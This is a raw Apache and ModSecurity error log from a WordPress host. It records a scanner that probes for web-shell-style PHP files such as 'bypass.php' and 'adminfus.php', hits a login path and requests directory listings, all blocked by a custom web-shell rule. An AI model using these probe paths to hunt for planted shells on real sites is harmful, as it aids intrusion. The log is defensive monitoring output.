[Wed Apr 22 21:04:23.196247 2026] [:error] [pid 23776:tid 23799] [client 45.86.202.48:43929] [client 45.86.202.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aejHV7RExf-1pAbSeJv0YgAAAZU"]
[Wed Apr 22 21:04:23.750066 2026] [:error] [pid 6250:tid 6259] [client 45.86.202.37:36947] [client 45.86.202.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/options.php"] [unique_id "aejHVw-iZeQkqmQVfj4QuwAAAEU"]
[Wed Apr 22 21:04:24.339776 2026] [proxy_fcgi:error] [pid 6344:tid 6356] [client 45.86.202.38:35209] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 21:04:27.568192 2026] [:error] [pid 6344:tid 6363] [client 45.86.202.38:35209] [client 45.86.202.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.38, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aejHW0DOTF-pkQnDeUnz9QAAAA4"]
[Wed Apr 22 21:04:34.533062 2026] [:error] [pid 6344:tid 6365] [client 45.86.202.38:35209] [client 45.86.202.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aejHYkDOTF-pkQnDeUnz_AAAABA"]
[Wed Apr 22 21:04:54.837368 2026] [:error] [pid 6252:tid 6328] [client 45.86.202.18:61013] [client 45.86.202.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aejHdutGYuiYb1nWBpRRXgAAARA"]
[Wed Apr 22 21:04:55.392671 2026] [:error] [pid 6384:tid 6390] [client 45.86.202.17:34561] [client 45.86.202.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aejHdz58M3t15ICeWHVB8AAAAMM"]
[Wed Apr 22 21:04:55.962118 2026] [:error] [pid 9085:tid 9106] [client 45.86.202.6:56783] [client 45.86.202.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aejHd9-_-or9vQnlWnpzNQAAAVM"]
[Wed Apr 22 21:05:04.651857 2026] [:error] [pid 9085:tid 9096] [client 45.86.202.30:34251] [client 45.86.202.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aejHgN-_-or9vQnlWnpzbgAAAUk"]
[Wed Apr 22 21:05:05.422774 2026] [:error] [pid 6250:tid 6278] [client 45.86.202.19:24423] [client 45.86.202.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aejHgQ-iZeQkqmQVfj4Q0AAAAFg"]
[Wed Apr 22 21:05:06.016218 2026] [:error] [pid 6252:tid 6331] [client 45.86.202.12:23245] [client 45.86.202.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aejHgutGYuiYb1nWBpRRhgAAARM"]
[Wed Apr 22 21:05:11.710074 2026] [:error] [pid 6252:tid 6323] [client 45.86.202.12:29919] [client 45.86.202.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aejHh-tGYuiYb1nWBpRRpAAAAQs"]
[Wed Apr 22 21:05:24.230700 2026] [autoindex:error] [pid 6344:tid 6351] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:05:27.550474 2026] [autoindex:error] [pid 6344:tid 6371] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:05:35.267497 2026] [autoindex:error] [pid 6344:tid 6367] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:05:36.859436 2026] [autoindex:error] [pid 6344:tid 6371] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:05:40.956475 2026] [autoindex:error] [pid 6344:tid 6351] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:05:41.241933 2026] [autoindex:error] [pid 6344:tid 6372] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:05:41.522132 2026] [autoindex:error] [pid 6344:tid 6359] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:05:44.539101 2026] [autoindex:error] [pid 6344:tid 6365] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:05:44.811736 2026] [autoindex:error] [pid 6344:tid 6350] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:05:46.101429 2026] [autoindex:error] [pid 6344:tid 6367] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:05:46.404073 2026] [autoindex:error] [pid 6344:tid 6369] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/crop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:05:46.686664 2026] [autoindex:error] [pid 6344:tid 6355] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:05:47.243369 2026] [autoindex:error] [pid 6344:tid 6371] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:05:47.526750 2026] [autoindex:error] [pid 6344:tid 6349] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:05:47.807792 2026] [autoindex:error] [pid 6344:tid 6361] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-supports/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:05:51.563499 2026] [autoindex:error] [pid 6344:tid 6370] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:05:51.835494 2026] [autoindex:error] [pid 6344:tid 6363] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:05:52.126837 2026] [autoindex:error] [pid 6344:tid 6365] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:05:52.412891 2026] [autoindex:error] [pid 6344:tid 6350] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:05:52.773343 2026] [autoindex:error] [pid 6344:tid 6369] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:05:53.048189 2026] [autoindex:error] [pid 6344:tid 6349] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:05:54.521953 2026] [autoindex:error] [pid 6344:tid 6366] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:05:54.813111 2026] [autoindex:error] [pid 6344:tid 6360] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:05:58.600300 2026] [autoindex:error] [pid 6344:tid 6371] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:01.368606 2026] [autoindex:error] [pid 6344:tid 6357] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/light/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:01.955217 2026] [autoindex:error] [pid 6344:tid 6367] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:05.884851 2026] [autoindex:error] [pid 6344:tid 6351] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:06.177510 2026] [autoindex:error] [pid 6344:tid 6360] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/endpoints/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:10.917538 2026] [autoindex:error] [pid 6344:tid 6373] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:13.311548 2026] [autoindex:error] [pid 6344:tid 6359] [client 45.86.202.40:62185] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/ocean/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:21.809417 2026] [autoindex:error] [pid 6250:tid 6266] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:23.894540 2026] [autoindex:error] [pid 6250:tid 6273] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:24.199635 2026] [autoindex:error] [pid 6250:tid 6272] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:24.533876 2026] [autoindex:error] [pid 6250:tid 6264] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:27.451388 2026] [autoindex:error] [pid 6250:tid 6256] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:30.120777 2026] [autoindex:error] [pid 6250:tid 6268] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:30.430528 2026] [autoindex:error] [pid 6250:tid 6271] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:34.445457 2026] [autoindex:error] [pid 6250:tid 6262] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:35.968070 2026] [autoindex:error] [pid 6250:tid 6274] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:38.772315 2026] [autoindex:error] [pid 6250:tid 6270] [client 45.86.202.44:37315] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:41.830771 2026] [autoindex:error] [pid 6250:tid 6267] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/css/dist/edit-widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:42.141954 2026] [autoindex:error] [pid 6250:tid 6258] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Requests/src/Exception/Http/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:42.505153 2026] [autoindex:error] [pid 6250:tid 6278] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:42.826034 2026] [autoindex:error] [pid 6250:tid 6262] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 21:06:43.128830 2026] [autoindex:error] [pid 6250:tid 6259] [client 45.86.202.44:37315] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
